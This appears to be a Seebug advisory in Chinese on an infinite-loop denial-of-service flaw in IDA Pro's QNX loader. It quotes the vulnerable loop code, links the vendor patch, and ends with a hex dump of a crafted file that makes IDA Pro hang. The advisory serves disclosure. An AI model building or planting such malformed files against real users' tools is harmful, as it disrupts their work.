IDA Pro QNX文件加载器拒绝服务漏洞

2010-06-30T00:00:00
ID SSV:19892
Type seebug
Reporter Root
Modified 2010-06-30T00:00:00

Description

IDA Pro是非常流行的静态反编译软件。

IDA Pro使用了不同的文件加载器来反汇编不同格式的文件,其中QNX文件加载器中的漏洞可能触发死循环,导致耗尽100%的CPU资源,无法继续进行反汇编。

以下for循环用于对输入文件中的每个lmf_data结构都进行一次迭代,根据sizeof(lmf_data) + lmf_data.offset)向前移动文件指针。但如果lmf_data.offset == -sizeof(lmf_data),由于没有增加,因此代码会陷入死循环:

From \ldr\qnx\qnx.cpp(50): for(uint32 at = sizeof(ex.lmf_header)+ex.lmf_header.data_nbytes; lmf_data.segment_index != _LMF_EOF_REC; at += sizeof(lmf_data) + lmf_data.offset) { qlseek( li, at, 0 ); if ( sizeof(_lmf_data) != qlread( li, &lmf_data, sizeof(_lmf_data) ) ) return 0; switch(lmf_data.segment_index) { ... case _LMF_COMMENT_REC: break; ... } }

Hex-Rays IDA Pro 3.76 - 5.6 厂商补丁:

Hex-Rays

目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:

https://www.hex-rays.com/updida.shtml

                                        
                                            
                                                00000000:  00 00 34 00 00 00 b4 09 eb 02 82 01 ba 13 01 cd    ..4.............
00000010:  21 cd 20 49 20 63 61 6e 27 74 20 62 65 20 6f 70    !. I can't be op
00000020:  65 6e 65 64 20 69 6e 20 49 44 41 20 50 72 6f 20    ened in IDA Pro
00000030:  3a 29 24 00 00 00 00 00 00 00 01 00 fa ff ff ff    :)$.............
00000040:  00 00 00 00 00 00